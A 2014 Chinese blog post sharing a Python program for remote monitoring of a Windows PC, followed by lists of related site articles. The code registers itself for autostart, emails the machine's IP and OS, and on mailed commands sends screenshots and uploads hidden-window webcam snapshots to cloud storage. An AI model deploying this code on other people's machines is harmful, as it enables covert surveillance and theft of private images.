python操作摄像头截图实现远程监控的例子


Posted in Python onMarch 25, 2014

最近用python写了一个远程监控的程序,主要功能有:
1.用邮件控制所以功能
2.可以对屏幕截图,屏幕截图发送到邮箱
3.可以用摄像头获取图片,这些图片上传到七牛
4.开机自启动

#
#coding by loster
#
import win32api
import win32con
import platform
import socket
import time
import os
import smtplib
import poplib
from VideoCapture import Device
from email.mime.multipart import MIMEMultipart  
from email.mime.text import MIMEText  
from email.mime.image import MIMEImage
import poplib,email
from email.header import decode_header
from PIL import ImageGrab
import qiniu.conf
import qiniu.io
import qiniu.rs
#去七牛申请
qiniu.conf.ACCESS_KEY = ""
qiniu.conf.SECRET_KEY = ""
#获取ip
def getIP():
    ip=socket.gethostbyname(socket.gethostname())
    return ip
#获取操作系统版本、
def getSystemVersion():
    return platform.platform()
def send_Information(ip,system_version):
    info='ip:'+ip+'  '+'system version:'+system_version
    print info
    smtp=smtplib.SMTP()
    smtp.connect('smtp.sina.com')
    smtp.login('sender@sina.com','***') #改成自己的邮箱和密码
    smtp.sendmail('sender@sina.com','reveicer@qq.com',ip+' '+system_version)#把接收邮箱改成自己另外一个邮箱
#截图,图片名为截图时间
def screen_capture():
    #获取截图时间
    pic_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #pic_name='screen_capture'+time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    pic_name='screen'+pic_time+'.jpg'
    pic = ImageGrab.grab()
    pic.save('%s' % pic_name)
    print pic_name
    #发送图片
    send_Img(pic_time,pic_name)
    print pic_name
    os.remove(pic_name)#删除图片
#发送截图图片到邮箱
def send_Img(pic_time,pic_name):
    msgRoot = MIMEMultipart('related')  
    msgRoot['Subject'] = pic_time
    msgText = MIMEText('<b>capture</b> <br><img src="cid:image1">','html','utf-8')  
    msgRoot.attach(msgText)  
    #fp = open('F:\\1.jpg', 'rb')
    fp = open(pic_name, 'rb')  
    msgImage = MIMEImage(fp.read())  
    fp.close()  
    msgImage.add_header('Content-ID', '<image1>')  
    msgRoot.attach(msgImage)  
    smtp = smtplib.SMTP()  
    smtp.connect('smtp.sina.com','25')  
    smtp.login("sender@sina.com","*****") 
    smtp.sendmail("sender@sina.com","receiver@qq.com", msgRoot.as_string())  
    smtp.quit()
    print 'send success'
#摄像头截图,每隔SLEEP_TIME秒截取一张
def camera_capture():
    #抓取频率
    SLEEP_TIME=3
    i=0
    cam=Device(devnum=0, showVideoWindow=0)
    while i<10:
        cam_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
        cam_name='camera'+cam_time+'.jpg'
        cam.saveSnapshot(cam_name,3,1,'bl')
        camera_upload(cam_name)
        print str(i)+cam_name
        os.remove(cam_name)
        time.sleep(SLEEP_TIME)
        i+=1
 #上传到七牛      
def camera_upload(file):
    policy = qiniu.rs.PutPolicy('iloster') #空间名,iloster是我的空间名
    uptoken = policy.token()
    ret, err = qiniu.io.put_file(uptoken, None, file)
    if err is not None:
        sys.stderr.write('error: %s ' % err)
#获取最新邮件
def accept_mail():
    pop=poplib.POP3_SSL('pop.qq.com')
    pop.user('receiver@qq.com')
    pop.pass_('*****')
    #获取邮件数目
    (num,totalSize)=pop.stat()
    #获取最新的邮件
    (heard,msg,octets)=pop.retr(num)
    mail=email.message_from_string("\n".join(msg))
    subject=email.Header.decode_header(mail['subject'])[0][0] #标题
    pop.quit()
    return subject
#获得程序的路径
def getPath():
    path=os.getcwd()+'\Remote.exe'  #最后打包的exe程序名必须为Remote.exe,或者把这里改一下
    print path
    return path
#添加开机自启动,在注册表里注册
def add_start(path):
    subkey='SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
    key=win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,subkey,0,win32con.KEY_ALL_ACCESS)
    #print win32api.RegQueryValueEx(key,'python')
    win32api.RegSetValueEx(key,'python',0,win32con.REG_SZ,path)
    print win32api.RegQueryValueEx(key,'python')
if __name__=='__main__':
    add_start(getPath()) #添加开机自启动
    send_Information(getIP(),getSystemVersion())
    while 1: #不断的监听
        if accept_mail()=='screen': #当获取的邮件主题为screen时,截取屏幕信息
            screen_capture()
        elif accept_mail()=='camera':
            camera_capture()       

注意:
1.我的发送邮箱是sina邮箱,接收邮箱是qq邮箱,这样做是因为微信可以绑定qq邮箱。
2.accept_mail()监听的邮箱是自己的接收邮箱,就是我用的qq邮箱
3.当监听到screen时,开始屏幕截图并发送到邮箱,由于监听的是最新的邮件,当图片发送带邮箱时,获取的邮件主题不是screen了,应该会停止截图,最后只会截取一张图片,继续保持监听状态。但实际由于网络的原因,发送的邮件会有延迟,所以,实际截取的图片会有很多张
4.当监听到camera时,会用摄像头截图,如果把while i<10,改成i=1,会让摄像头一直截图,并使其他命令失效,所以我i<10,就是每获取一次命令,截图10张

Python 相关文章推荐
python实现类的静态变量用法实例
May 08 Python
python入门教程之识别验证码
Mar 04 Python
Django卸载之后重新安装的方法
Mar 15 Python
python 保存float类型的小数的位数方法
Oct 17 Python
Python日志无延迟实时写入的示例
Jul 11 Python
在django view中给form传入参数的例子
Jul 19 Python
Python Django简单实现session登录注销过程详解
Aug 06 Python
python批量读取文件名并写入txt文件中
Sep 05 Python
手把手教你进行Python虚拟环境配置教程
Feb 03 Python
python sitk.show()与imageJ结合使用常见的问题
Apr 20 Python
python连接mongodb数据库操作数据示例
Nov 30 Python
Django搭建项目实战与避坑细节详解
Dec 06 Python
python基础教程之字典操作详解
Mar 25 #Python
python基础教程之元组操作使用详解
Mar 25 #Python
python基础教程之简单入门说明(变量和控制语言使用方法)
Mar 25 #Python
python使用循环实现批量创建文件夹示例
Mar 25 #Python
python实现图片批量剪切示例
Mar 25 #Python
使用python实现strcmp函数功能示例
Mar 25 #Python
python读写ini文件示例(python读写文件)
Mar 25 #Python
You might like
法压式咖啡之制作法
2021/03/03 冲泡冲煮
php curl请求信息和返回信息设置代码实例
2015/04/27 PHP
PHP url的pathinfo模式加载不同控制器的简单实现
2016/08/12 PHP
jQuery源码分析-03构造jQuery对象-工具函数
2011/11/14 Javascript
JavaScript 数组详解
2013/10/10 Javascript
JavaScript面向对象编程入门教程
2014/04/16 Javascript
Javascript堆排序算法详解
2014/12/03 Javascript
jQuery制作简洁的图片轮播效果
2015/04/03 Javascript
使用BootStrapValidator完成前端输入验证
2016/09/28 Javascript
微信小程序中用WebStorm使用LESS
2017/03/08 Javascript
JavaScript mixin实现多继承的方法详解
2017/03/30 Javascript
JavaScript实现美化滑块效果
2019/05/17 Javascript
详解将微信小程序接口Promise化并使用async函数
2019/08/05 Javascript
浅谈Vue为什么不能检测数组变动
2019/10/14 Javascript
Element-ui 自带的两种远程搜索(模糊查询)用法讲解
2021/01/29 Javascript
python中关于日期时间处理的问答集锦
2013/03/08 Python
python中bisect模块用法实例
2014/09/25 Python
利用pandas读取中文数据集的方法
2018/07/25 Python
基于python指定包的安装路径方法
2018/10/27 Python
PyTorch实现ResNet50、ResNet101和ResNet152示例
2020/01/14 Python
Python多线程通信queue队列用法实例分析
2020/03/24 Python
解决jupyter notebook 出现In[*]的问题
2020/04/13 Python
Python常驻任务实现接收外界参数代码解析
2020/07/21 Python
python 两种方法删除空文件夹
2020/09/29 Python
Python爬虫定时计划任务的几种常见方法(推荐)
2021/01/15 Python
html5指南-6.如何创建离线web应用程序实现离线访问
2013/01/07 HTML / CSS
HTML5 canvas实现的静态循环滚动播放弹幕
2021/01/05 HTML / CSS
Parts Express:音频、视频和扬声器的第一来源
2017/04/25 全球购物
莫斯科隐形眼镜网上商店:Linzi
2019/07/22 全球购物
某/etc/fstab文件中的某行如下: /dev/had5 /mnt/dosdata msdos defaults,usrquota 1 2 请解释其含义
2013/04/11 面试题
文秘专业大学生求职信
2013/11/10 职场文书
《一个小村庄的故事》教学反思
2014/04/13 职场文书
白血病募捐倡议书
2014/05/14 职场文书
办理房产过户的委托书
2014/09/14 职场文书
2014年学生会干事工作总结
2014/11/07 职场文书
Python中如何处理常见报错
2022/01/18 Python